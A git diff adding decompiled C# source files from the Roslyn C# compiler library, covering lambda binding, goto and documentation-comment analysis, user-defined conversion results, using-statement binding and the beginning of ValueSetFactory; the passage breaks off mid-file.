typeWithAnnotations = TypeWithAnnotations.Create((inferredReturnType.HadExpressionlessReturn || inferredReturnType.NumExpressions == 0) ? Binder.Compilation.GetSpecialType((SpecialType)6) : Binder.CreateErrorType()); + refKind = (RefKind)0; + } + } + (LambdaSymbol lambdaSymbol, BoundBlock block, ExecutableCodeBinder lambdaBodyBinder, BindingDiagnosticBag diagnostics) tuple = BindWithParameterAndReturnType(parameterTypes, parameterRefKinds, typeWithAnnotations, refKind); + BoundBlock item = tuple.block; + ExecutableCodeBinder item2 = tuple.lambdaBodyBinder; + BindingDiagnosticBag item3 = tuple.diagnostics; + return new BoundLambda(_unboundLambda.Syntax, _unboundLambda, item, ((BindingDiagnosticBag)(object)item3).ToReadOnlyAndFree(), item2, delegateType, new InferredLambdaReturnType(inferredReturnType.NumExpressions, inferredReturnType.IsExplicitType, inferredReturnType.HadExpressionlessReturn, refKind, typeWithAnnotations, inferredReturnType.InferredFromFunctionType, ImmutableArray.Empty, ImmutableArray.Empty)) + { + WasCompilerGenerated = _unboundLambda.WasCompilerGenerated + }; + } + + private static BoundLambda? GuessBestBoundLambda(ImmutableDictionary candidates) where T : notnull + { + return candidates.Count switch + { + 0 => null, + 1 => candidates.First().Value, + _ => (from lambda in (from lambda in candidates + group lambda by lambda.Value.Diagnostics.Diagnostics.Length into @group + orderby @group.Key + select @group).First() + orderby GetLambdaSortString(lambda.Value.Symbol) + select lambda).FirstOrDefault().Value, + }; + } + + private static string GetLambdaSortString(LambdaSymbol lambda) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = lambda.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance.Builder.Append(current.ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageNoParameterNamesFormat)); + } + if (lambda.ReturnTypeWithAnnotations.HasType) + { + instance.Builder.Append(lambda.ReturnTypeWithAnnotations.ToDisplayString(SymbolDisplayFormat.FullyQualifiedFormat)); + } + return instance.ToStringAndFree(); + } + + public bool GenerateSummaryErrors(BindingDiagnosticBag diagnostics) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + IEnumerable> first = _bindingCache.Select, ImmutableBindingDiagnostic>(delegate(KeyValuePair<(NamedTypeSymbol Type, bool IsExpressionLambda), BoundLambda> boundLambda) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + KeyValuePair<(NamedTypeSymbol, bool), BoundLambda> keyValuePair = boundLambda; + return keyValuePair.Value.Diagnostics; + }); + IEnumerable> second = _returnInferenceCache.Values.Select((BoundLambda boundLambda) => boundLambda.Diagnostics); + IEnumerable> enumerable = first.Concat(second); + FirstAmongEqualsSet firstAmongEqualsSet = null; + foreach (ImmutableBindingDiagnostic item in enumerable) + { + if (firstAmongEqualsSet == null) + { + firstAmongEqualsSet = CreateFirstAmongEqualsSet(item.Diagnostics); + } + else + { + firstAmongEqualsSet.IntersectWith(item.Diagnostics); + } + } + if (firstAmongEqualsSet != null && PreventsSuccessfulDelegateConversion(firstAmongEqualsSet)) + { + ((BindingDiagnosticBag)diagnostics).AddRange((IEnumerable)firstAmongEqualsSet); + return true; + } + FirstAmongEqualsSet firstAmongEqualsSet2 = null; + foreach (ImmutableBindingDiagnostic item2 in enumerable) + { + if (firstAmongEqualsSet2 == null) + { + firstAmongEqualsSet2 = CreateFirstAmongEqualsSet(item2.Diagnostics); + } + else + { + firstAmongEqualsSet2.UnionWith(item2.Diagnostics); + } + } + if (firstAmongEqualsSet2 != null && PreventsSuccessfulDelegateConversion(firstAmongEqualsSet2)) + { + ((BindingDiagnosticBag)diagnostics).AddRange((IEnumerable)firstAmongEqualsSet2); + return true; + } + return false; + } + + private static bool PreventsSuccessfulDelegateConversion(FirstAmongEqualsSet set) + { + foreach (Diagnostic item in set) + { + if (ErrorFacts.PreventsSuccessfulDelegateConversion((ErrorCode)item.Code)) + { + return true; + } + } + return false; + } + + private static FirstAmongEqualsSet CreateFirstAmongEqualsSet(ImmutableArray bag) + { + return new FirstAmongEqualsSet(bag, (IEqualityComparer)CommonDiagnosticComparer.Instance, CanonicallyCompareDiagnostics); + } + + private static int CanonicallyCompareDiagnostics(Diagnostic x, Diagnostic y) + { + if (x.Code != y.Code) + { + return x.Code - y.Code; + } + int num = x.Arguments?.Count ?? 0; + int num2 = y.Arguments?.Count ?? 0; + int i = 0; + for (int num3 = Math.Min(num, num2); i < num3; i++) + { + object obj = x.Arguments[i]; + int num4 = string.CompareOrdinal(strB: y.Arguments[i]?.ToString(), strA: obj?.ToString()); + if (num4 != 0) + { + return num4; + } + } + return num - num2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnmatchedGotoFinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnmatchedGotoFinder.cs new file mode 100644 index 0000000..b510404 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnmatchedGotoFinder.cs @@ -0,0 +1,104 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class UnmatchedGotoFinder : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator +{ + private readonly Dictionary> _unmatchedLabelsCache; + + private HashSet _gotos; + + private HashSet _targets; + + private UnmatchedGotoFinder(Dictionary> unmatchedLabelsCache, int recursionDepth) + : base(recursionDepth) + { + _unmatchedLabelsCache = unmatchedLabelsCache; + } + + public static HashSet Find(BoundNode node, Dictionary> unmatchedLabelsCache, int recursionDepth) + { + UnmatchedGotoFinder unmatchedGotoFinder = new UnmatchedGotoFinder(unmatchedLabelsCache, recursionDepth); + unmatchedGotoFinder.Visit(node); + HashSet gotos = unmatchedGotoFinder._gotos; + HashSet targets = unmatchedGotoFinder._targets; + if (gotos != null && targets != null) + { + ISetExtensions.RemoveAll((ISet)gotos, (IEnumerable)targets); + } + return gotos; + } + + public override BoundNode Visit(BoundNode node) + { + if (node != null && _unmatchedLabelsCache.TryGetValue(node, out var value)) + { + if (value != null) + { + foreach (LabelSymbol item in value) + { + AddGoto(item); + } + } + return null; + } + return base.Visit(node); + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + AddGoto(node.Label); + return base.VisitGotoStatement(node); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + AddGoto(node.Label); + return base.VisitConditionalGoto(node); + } + + public override BoundNode VisitSwitchDispatch(BoundSwitchDispatch node) + { + AddGoto(node.DefaultLabel); + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = node.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol item = enumerator.Current.Item2; + AddGoto(item); + } + return base.VisitSwitchDispatch(node); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + AddTarget(node.Label); + return base.VisitLabelStatement(node); + } + + public override BoundNode VisitLabeledStatement(BoundLabeledStatement node) + { + AddTarget(node.Label); + return base.VisitLabeledStatement(node); + } + + private void AddGoto(LabelSymbol label) + { + if (_gotos == null) + { + _gotos = new HashSet(); + } + _gotos.Add(label); + } + + private void AddTarget(LabelSymbol label) + { + if (_targets == null) + { + _targets = new HashSet(); + } + _targets.Add(label); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnprocessedDocumentationCommentFinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnprocessedDocumentationCommentFinder.cs new file mode 100644 index 0000000..2287ac2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnprocessedDocumentationCommentFinder.cs @@ -0,0 +1,108 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class UnprocessedDocumentationCommentFinder : CSharpSyntaxWalker +{ + private readonly DiagnosticBag _diagnostics; + + private readonly CancellationToken _cancellationToken; + + private readonly TextSpan? _filterSpanWithinTree; + + private bool _isValidLocation; + + private UnprocessedDocumentationCommentFinder(DiagnosticBag diagnostics, TextSpan? filterSpanWithinTree, CancellationToken cancellationToken) + : base((SyntaxWalkerDepth)2) + { + _diagnostics = diagnostics; + _filterSpanWithinTree = filterSpanWithinTree; + _cancellationToken = cancellationToken; + } + + public static void ReportUnprocessed(SyntaxTree tree, TextSpan? filterSpanWithinTree, DiagnosticBag diagnostics, CancellationToken cancellationToken) + { + if (tree.ReportDocumentationCommentDiagnostics()) + { + new UnprocessedDocumentationCommentFinder(diagnostics, filterSpanWithinTree, cancellationToken).Visit(tree.GetRoot(cancellationToken)); + } + } + + private bool IsSyntacticallyFilteredOut(TextSpan fullSpan) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (_filterSpanWithinTree.HasValue) + { + TextSpan value = _filterSpanWithinTree.Value; + return !((TextSpan)(ref value)).Contains(fullSpan); + } + return false; + } + + public override void DefaultVisit(SyntaxNode node) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (IsSyntacticallyFilteredOut(node.FullSpan)) + { + return; + } + if (!node.HasStructuredTrivia) + { + TextSpan span = node.Span; + if (((TextSpan)(ref span)).Length > 0) + { + _isValidLocation = false; + } + } + else + { + if (node is BaseTypeDeclarationSyntax || node is DelegateDeclarationSyntax || node is EnumMemberDeclarationSyntax || node is BaseMethodDeclarationSyntax || node is BasePropertyDeclarationSyntax || node is BaseFieldDeclarationSyntax) + { + _isValidLocation = true; + } + base.DefaultVisit(node); + } + } + + public override void VisitLeadingTrivia(SyntaxToken token) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!IsSyntacticallyFilteredOut(((SyntaxToken)(ref token)).FullSpan)) + { + base.VisitLeadingTrivia(token); + _isValidLocation = false; + } + } + + public override void VisitTrivia(SyntaxTrivia trivia) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!IsSyntacticallyFilteredOut(((SyntaxTrivia)(ref trivia)).FullSpan)) + { + if (!_isValidLocation && SyntaxFacts.IsDocumentationCommentTrivia(trivia.Kind())) + { + int position = ((SyntaxTrivia)(ref trivia)).Position; + _diagnostics.Add(ErrorCode.WRN_UnprocessedXMLComment, (Location)new SourceLocation(((SyntaxTrivia)(ref trivia)).SyntaxTree, new TextSpan(position, 1))); + } + base.VisitTrivia(trivia); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysis.cs new file mode 100644 index 0000000..9f166e4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysis.cs @@ -0,0 +1,41 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class UserDefinedConversionAnalysis +{ + public readonly TypeSymbol FromType; + + public readonly TypeSymbol ToType; + + public readonly TypeParameterSymbol ConstrainedToTypeOpt; + + public readonly MethodSymbol Operator; + + public readonly Conversion SourceConversion; + + public readonly Conversion TargetConversion; + + public readonly UserDefinedConversionAnalysisKind Kind; + + public static UserDefinedConversionAnalysis Normal(TypeParameterSymbol constrainedToTypeOpt, MethodSymbol op, Conversion sourceConversion, Conversion targetConversion, TypeSymbol fromType, TypeSymbol toType) + { + return new UserDefinedConversionAnalysis(UserDefinedConversionAnalysisKind.ApplicableInNormalForm, constrainedToTypeOpt, op, sourceConversion, targetConversion, fromType, toType); + } + + public static UserDefinedConversionAnalysis Lifted(TypeParameterSymbol constrainedToTypeOpt, MethodSymbol op, Conversion sourceConversion, Conversion targetConversion, TypeSymbol fromType, TypeSymbol toType) + { + return new UserDefinedConversionAnalysis(UserDefinedConversionAnalysisKind.ApplicableInLiftedForm, constrainedToTypeOpt, op, sourceConversion, targetConversion, fromType, toType); + } + + private UserDefinedConversionAnalysis(UserDefinedConversionAnalysisKind kind, TypeParameterSymbol constrainedToTypeOpt, MethodSymbol op, Conversion sourceConversion, Conversion targetConversion, TypeSymbol fromType, TypeSymbol toType) + { + Kind = kind; + ConstrainedToTypeOpt = constrainedToTypeOpt; + Operator = op; + SourceConversion = sourceConversion; + TargetConversion = targetConversion; + FromType = fromType; + ToType = toType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysisKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysisKind.cs new file mode 100644 index 0000000..fd9d132 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionAnalysisKind.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum UserDefinedConversionAnalysisKind : byte +{ + ApplicableInNormalForm, + ApplicableInLiftedForm +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResult.cs new file mode 100644 index 0000000..ec53790 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResult.cs @@ -0,0 +1,44 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct UserDefinedConversionResult +{ + public readonly ImmutableArray Results; + + public readonly int Best; + + public readonly UserDefinedConversionResultKind Kind; + + public static UserDefinedConversionResult NoApplicableOperators(ImmutableArray results) + { + return new UserDefinedConversionResult(UserDefinedConversionResultKind.NoApplicableOperators, results, -1); + } + + public static UserDefinedConversionResult NoBestSourceType(ImmutableArray results) + { + return new UserDefinedConversionResult(UserDefinedConversionResultKind.NoBestSourceType, results, -1); + } + + public static UserDefinedConversionResult NoBestTargetType(ImmutableArray results) + { + return new UserDefinedConversionResult(UserDefinedConversionResultKind.NoBestTargetType, results, -1); + } + + public static UserDefinedConversionResult Ambiguous(ImmutableArray results) + { + return new UserDefinedConversionResult(UserDefinedConversionResultKind.Ambiguous, results, -1); + } + + public static UserDefinedConversionResult Valid(ImmutableArray results, int best) + { + return new UserDefinedConversionResult(UserDefinedConversionResultKind.Valid, results, best); + } + + private UserDefinedConversionResult(UserDefinedConversionResultKind kind, ImmutableArray results, int best) + { + Kind = kind; + Results = results; + Best = best; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResultKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResultKind.cs new file mode 100644 index 0000000..a13bd82 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UserDefinedConversionResultKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum UserDefinedConversionResultKind : byte +{ + NoApplicableOperators, + NoBestSourceType, + NoBestTargetType, + Ambiguous, + Valid +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UsingStatementBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UsingStatementBinder.cs new file mode 100644 index 0000000..988a269 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UsingStatementBinder.cs @@ -0,0 +1,252 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class UsingStatementBinder : LockOrUsingBinder +{ + private readonly UsingStatementSyntax _syntax; + + protected override ExpressionSyntax TargetExpressionSyntax => _syntax.Expression; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public UsingStatementBinder(Binder enclosing, UsingStatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + protected override ImmutableArray BuildLocals() + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax targetExpressionSyntax = TargetExpressionSyntax; + VariableDeclarationSyntax declaration = _syntax.Declaration; + if (targetExpressionSyntax != null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionVariableFinder.FindExpressionVariables(this, instance, targetExpressionSyntax, null); + return instance.ToImmutableAndFree(); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(declaration.Variables.Count); + declaration.Type.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (UsingStatementBinder binder, ArrayBuilder locals) args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator2 = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExpressionSyntax current2 = enumerator2.Current; + if (current2.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + ExpressionVariableFinder.FindExpressionVariables(args.binder, args.locals, current2, null); + } + } + }, (this, instance2)); + Enumerator enumerator = declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + instance2.Add((LocalSymbol)MakeLocal(declaration, current, LocalDeclarationKind.UsingVariable, allowScoped: true)); + ExpressionVariableFinder.FindExpressionVariables(this, instance2, current, null); + } + return instance2.ToImmutableAndFree(); + } + + internal override BoundStatement BindUsingStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + object obj = TargetExpressionSyntax; + VariableDeclarationSyntax declaration = _syntax.Declaration; + _syntax.AwaitKeyword.Kind(); + if (obj == null) + { + obj = declaration; + } + return BindUsingStatementOrDeclarationFromParts((SyntaxNode)obj, _syntax.UsingKeyword, _syntax.AwaitKeyword, originalBinder, this, diagnostics); + } + + internal static BoundStatement BindUsingStatementOrDeclarationFromParts(SyntaxNode syntax, SyntaxToken usingKeyword, SyntaxToken awaitKeyword, Binder originalBinder, UsingStatementBinder? usingBinderOpt, BindingDiagnosticBag diagnostics) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01fa: Unknown result type (might be due to invalid IL or missing references) + //IL_01ff: Unknown result type (might be due to invalid IL or missing references) + //IL_023b: Unknown result type (might be due to invalid IL or missing references) + bool flag = syntax.Kind() == SyntaxKind.LocalDeclarationStatement; + bool flag2 = !flag && syntax.Kind() != SyntaxKind.VariableDeclaration; + bool hasAwait = awaitKeyword != default(SyntaxToken); + if (flag) + { + Binder.CheckFeatureAvailability(usingKeyword, MessageID.IDS_FeatureUsingDeclarations, diagnostics); + } + else if (hasAwait) + { + Binder.CheckFeatureAvailability(awaitKeyword, MessageID.IDS_FeatureAsyncUsing, diagnostics); + } + bool hasErrors = false; + ImmutableArray declarationsOpt = default(ImmutableArray); + BoundMultipleLocalDeclarations declarationsOpt2 = null; + BoundExpression expressionOpt = null; + TypeSymbol declarationTypeOpt = null; + MethodArgumentInfo patternDisposeInfo; + TypeSymbol awaitableType; + if (flag2) + { + expressionOpt = usingBinderOpt.BindTargetExpression(diagnostics, originalBinder); + hasErrors |= !bindDisposable(fromExpression: true, out patternDisposeInfo, out awaitableType); + if ((object)expressionOpt.Type != null) + { + Binder.CheckRestrictedTypeInAsyncMethod(originalBinder.ContainingMemberOrLambda, expressionOpt.Type, diagnostics, expressionOpt.Syntax, forUsingExpression: true); + } + } + else + { + VariableDeclarationSyntax variableDeclarationSyntax = (flag ? ((LocalDeclarationStatementSyntax)(object)syntax).Declaration : ((VariableDeclarationSyntax)(object)syntax)); + originalBinder.BindForOrUsingOrFixedDeclarations(variableDeclarationSyntax, LocalDeclarationKind.UsingVariable, diagnostics, out declarationsOpt); + declarationsOpt2 = new BoundMultipleLocalDeclarations((SyntaxNode)(object)variableDeclarationSyntax, declarationsOpt); + declarationTypeOpt = declarationsOpt[0].DeclaredTypeOpt.Type; + if (declarationTypeOpt.IsDynamic()) + { + patternDisposeInfo = null; + awaitableType = null; + } + else + { + hasErrors |= !bindDisposable(fromExpression: false, out patternDisposeInfo, out awaitableType); + } + } + BoundAwaitableInfo awaitOpt = null; + if (hasAwait) + { + originalBinder.ReportBadAwaitDiagnostics(SyntaxNodeOrToken.op_Implicit(awaitKeyword), diagnostics, ref hasErrors); + if ((object)awaitableType == null) + { + awaitOpt = new BoundAwaitableInfo(syntax, null, isDynamic: true, null, null, null) + { + WasCompilerGenerated = true + }; + } + else + { + hasErrors |= Binder.ReportUseSite(awaitableType, diagnostics, awaitKeyword); + BoundAwaitableValuePlaceholder placeholder = new BoundAwaitableValuePlaceholder(syntax, awaitableType).MakeCompilerGenerated(); + awaitOpt = originalBinder.BindAwaitInfo(placeholder, syntax, diagnostics, ref hasErrors); + } + } + if (flag) + { + return new BoundUsingLocalDeclarations(syntax, patternDisposeInfo, awaitOpt, declarationsOpt, hasErrors); + } + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(usingBinderOpt._syntax.Statement, diagnostics); + return new BoundUsingStatement((SyntaxNode)(object)usingBinderOpt._syntax, usingBinderOpt.Locals, declarationsOpt2, expressionOpt, body, awaitOpt, patternDisposeInfo, hasErrors); + bool bindDisposable(bool fromExpression, out MethodArgumentInfo? reference, out TypeSymbol? reference2) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_025e: Unknown result type (might be due to invalid IL or missing references) + //IL_01cb: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol = getDisposableInterface(hasAwait); + CompoundUseSiteInfo useSiteInfo = originalBinder.GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = classifyConversion(fromExpression, typeSymbol, ref useSiteInfo); + reference = null; + reference2 = null; + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + if (conversion.IsImplicit) + { + if (hasAwait) + { + reference2 = originalBinder.Compilation.GetWellKnownType((WellKnownType)296); + } + return !Binder.ReportUseSite(typeSymbol, diagnostics, hasAwait ? awaitKeyword : usingKeyword); + } + TypeSymbol typeSymbol2 = (fromExpression ? expressionOpt.Type : declarationTypeOpt); + if ((object)typeSymbol2 != null && (typeSymbol2.IsRefLikeType || hasAwait)) + { + BoundExpression expr = (fromExpression ? expressionOpt : new BoundLocal(syntax, declarationsOpt[0].LocalSymbol, null, typeSymbol2) + { + WasCompilerGenerated = true + }); + BindingDiagnosticBag diagnostics2 = (originalBinder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureDisposalPattern) ? diagnostics : BindingDiagnosticBag.Discarded); + MethodSymbol methodSymbol = originalBinder.TryFindDisposePatternMethod(expr, syntax, hasAwait, diagnostics2); + if ((object)methodSymbol != null) + { + MessageID.IDS_FeatureDisposalPattern.CheckFeatureAvailability(diagnostics, (Compilation)(object)originalBinder.Compilation, syntax.Location); + ArrayBuilder instance = ArrayBuilder.GetInstance(methodSymbol.ParameterCount); + ImmutableArray argsToParamsOpt = default(ImmutableArray); + bool expanded = methodSymbol.HasParamsParameter(); + originalBinder.BindDefaultArguments((SyntaxNode)(((object)usingBinderOpt?._syntax) ?? ((object)syntax)), methodSymbol.Parameters, instance, null, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics2); + reference = new MethodArgumentInfo(methodSymbol, instance.ToImmutableAndFree(), argsToParamsOpt, defaultArguments, expanded); + if (hasAwait) + { + reference2 = methodSymbol.ReturnType; + } + return true; + } + } + if ((object)typeSymbol2 == null || !typeSymbol2.IsErrorType()) + { + TypeSymbol targetInterface = getDisposableInterface(!hasAwait); + CompoundUseSiteInfo useSiteInfo2 = CompoundUseSiteInfo.Discarded; + ErrorCode code = ((!classifyConversion(fromExpression, targetInterface, ref useSiteInfo2).IsImplicit) ? (hasAwait ? ErrorCode.ERR_NoConvToIAsyncDisp : ErrorCode.ERR_NoConvToIDisp) : (hasAwait ? ErrorCode.ERR_NoConvToIAsyncDispWrongAsync : ErrorCode.ERR_NoConvToIDispWrongAsync)); + Binder.Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(syntax), declarationTypeOpt ?? expressionOpt.Display); + } + return false; + } + Conversion classifyConversion(bool fromExpression, TypeSymbol targetInterface, ref CompoundUseSiteInfo useSiteInfo) + { + Conversions conversions = originalBinder.Conversions; + if (fromExpression) + { + return conversions.ClassifyImplicitConversionFromExpression(expressionOpt, targetInterface, ref useSiteInfo); + } + return conversions.ClassifyImplicitConversionFromType(declarationTypeOpt, targetInterface, ref useSiteInfo); + } + TypeSymbol getDisposableInterface(bool isAsync) + { + if (!isAsync) + { + return originalBinder.Compilation.GetSpecialType((SpecialType)35); + } + return originalBinder.Compilation.GetWellKnownType((WellKnownType)287); + } + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/UsingStatementBinder.cs", 305); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/UsingStatementBinder.cs", 310); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ValueSetFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ValueSetFactory.cs new file mode 100644 index 0000000..f21cc42 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ValueSetFactory.cs @@ -0,0 +1,2978 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class ValueSetFactory +{ + private sealed class BoolValueSet : IValueSet, IValueSet + { + private readonly bool _hasFalse; + + private readonly bool _hasTrue; + + internal static readonly BoolValueSet AllValues = new BoolValueSet(hasFalse: true, hasTrue: true); + + internal static readonly BoolValueSet None = new BoolValueSet(hasFalse: false, hasTrue: false); + + internal static readonly BoolValueSet OnlyTrue = new BoolValueSet(hasFalse: false, hasTrue: true); + + internal static readonly BoolValueSet OnlyFalse = new BoolValueSet(hasFalse: true, hasTrue: false); + + bool IValueSet.IsEmpty + { + get + { + if (!_hasFalse) + { + return !_hasTrue; + } + return false; + } + } + + ConstantValue IValueSet.Sample + { + get + { + int num; + if (!_hasTrue) + 